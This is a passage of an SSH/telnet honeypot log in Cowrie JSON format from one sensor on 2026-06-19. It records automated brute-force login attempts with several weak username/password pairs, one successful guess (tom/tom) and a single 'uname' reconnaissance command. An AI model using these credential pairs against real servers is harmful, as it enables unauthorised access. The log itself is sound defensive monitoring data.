16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:18:16.763530Z","src_ip":"141.11.88.14","session":"c70e2e55a9f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dneo","password":"dneo","message":"login attempt [dneo/dneo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:18:18.714429Z","src_ip":"141.11.88.14","session":"c70e2e55a9f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:18:20.157797Z","src_ip":"141.11.88.14","session":"c70e2e55a9f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":41042,"dst_ip":"10.17.0.5","dst_port":22,"session":"aff808f0530d","protocol":"ssh","message":"New connection: 141.11.88.14:41042 (10.17.0.5:22) [session: aff808f0530d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:18:23.769419Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:18:23.912862Z","src_ip":"141.11.88.14","session":"aff808f0530d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:18:23.916375Z","src_ip":"141.11.88.14","session":"aff808f0530d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jenkins","password":"123","message":"login attempt [jenkins/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:18:25.042215Z","src_ip":"141.11.88.14","session":"aff808f0530d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:18:26.166368Z","src_ip":"141.11.88.14","session":"aff808f0530d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":40064,"dst_ip":"159.203.135.109","dst_port":23,"session":"1b52558da835","protocol":"telnet","message":"New connection: 128.199.8.54:40064 (159.203.135.109:23) [session: 1b52558da835]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:18:29.891767Z"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":41196,"dst_ip":"10.17.0.5","dst_port":22,"session":"c65adfcab0c7","protocol":"ssh","message":"New connection: 141.11.88.14:41196 (10.17.0.5:22) [session: c65adfcab0c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:18:31.559972Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:18:31.602458Z","src_ip":"141.11.88.14","session":"c65adfcab0c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:18:31.700541Z","src_ip":"141.11.88.14","session":"c65adfcab0c7","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"tom","password":"tom","message":"login attempt [tom/tom] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:18:32.502723Z","src_ip":"141.11.88.14","session":"c65adfcab0c7","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:18:32.740488Z","src_ip":"141.11.88.14","session":"c65adfcab0c7","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:18:32.743596Z","src_ip":"141.11.88.14","session":"c65adfcab0c7","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:18:32.854018Z","src_ip":"141.11.88.14","session":"c65adfcab0c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:18:32.859027Z","src_ip":"141.11.88.14","session":"c65adfcab0c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":59120,"dst_ip":"10.17.0.5","dst_port":22,"session":"db117796096a","protocol":"ssh","message":"New connection: 141.11.88.14:59120 (10.17.0.5:22) [session: db117796096a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:18:39.145978Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:18:39.278133Z","src_ip":"141.11.88.14","session":"db117796096a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:18:39.281728Z","src_ip":"141.11.88.14","session":"db117796096a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sam","password":"1qaz@WSX","message":"login attempt [sam/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:18:39.966168Z","src_ip":"141.11.88.14","session":"db117796096a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:18:41.110715Z","src_ip":"141.11.88.14","session":"db117796096a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":33904,"dst_ip":"10.17.0.5","dst_port":22,"session":"8a7ba5d4978a","protocol":"ssh","message":"New connection: 51.250.105.222:33904 (10.17.0.5:22) [session: 8a7ba5d4978a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:18:45.137696Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:18:45.144033Z","src_ip":"51.250.105.222","session":"8a7ba5d4978a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:18:45.270455Z","src_ip":"51.250.105.222","session":"8a7ba5d4978a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:18:45.649092Z","src_ip":"51.250.105.222","session":"8a7ba5d4978a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":59158,"dst_ip":"10.17.0.5","dst_port":22,"session":"cf2b59569af6","protocol":"ssh","message":"New connection: 141.11.88.14:59158 (10.17.0.5:22) [session: cf2b59569af6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:18:45.716215Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:18:45.848964Z","src_ip":"141.11.88.14","session":"cf2b59569af6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:18:45.852118Z","src_ip":"141.11.88.14","session":"cf2b59569af6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@123","message":"login attempt [root/Admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:18:46.319450Z","src_ip":"141.11.88.14","session":"cf2b59569af6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:18:46.777146Z","src_ip":"51.250.105.222","session":"8a7ba5d4978a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":54250,"dst_ip":"159.203.135.109","dst_port":23,"session":"e574c66a2dda","protocol":"telnet","message":"New connection: 128.199.8.54:54250 (159.203.135.109:23) [session: e574c66a2dda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:18:47.389524Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:18:47.443392Z","src_ip":"141.11.88.14","session":"cf2b59569af6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":52634,"dst_ip":"10.17.0.5","dst_port":22,"session":"adfaabec85f6","protocol":"ssh","message":"New connection: 141.11.88.14:52634 (10.17.0.5:22) [session: adfaabec85f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:18:53.658062Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:18:53.910372Z","src_ip":"141.11.88.14","session":"adfaabec85f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:18:53.914434Z","src_ip":"141.11.88.14","session":"adfaabec85f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ivan","password":"ivan","message":"login attempt [ivan/ivan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:18:55.439375Z","src_ip":"141.11.88.14","session":"adfaabec85f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:18:56.553968Z","src_ip":"141.11.88.14","session":"adfaabec85f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":40982,"dst_ip":"159.203.135.109","dst_port":22,"session":"8fca78fdf58b","protocol":"ssh","message":"New connection: 103.27.238.120:40982 (159.203.135.109:22) [session: 8fca78fdf58b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:18:57.870683Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:18:57.875822Z","src_ip":"103.27.238.120","session":"8fca78fdf58b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:18:58.154924Z","src_ip":"103.27.238.120","session":"8fca78fdf58b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nesterenko","message":"login attempt [root/nesterenko] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:18:58.986826Z","src_ip":"103.27.238.120","session":"8fca78fdf58b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:19:00.264924Z","src_ip":"103.27.238.120","session":"8fca78fdf58b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":49880,"dst_ip":"10.17.0.5","dst_port":22,"session":"87bbefc82c96","protocol":"ssh","message":"New connection: 141.11.88.14:49880 (10.17.0.5:22) [session: 87bbefc82c96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:19:01.567165Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:19:01.704576Z","src_ip":"141.11.88.14","session":"87bbefc82c96","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecds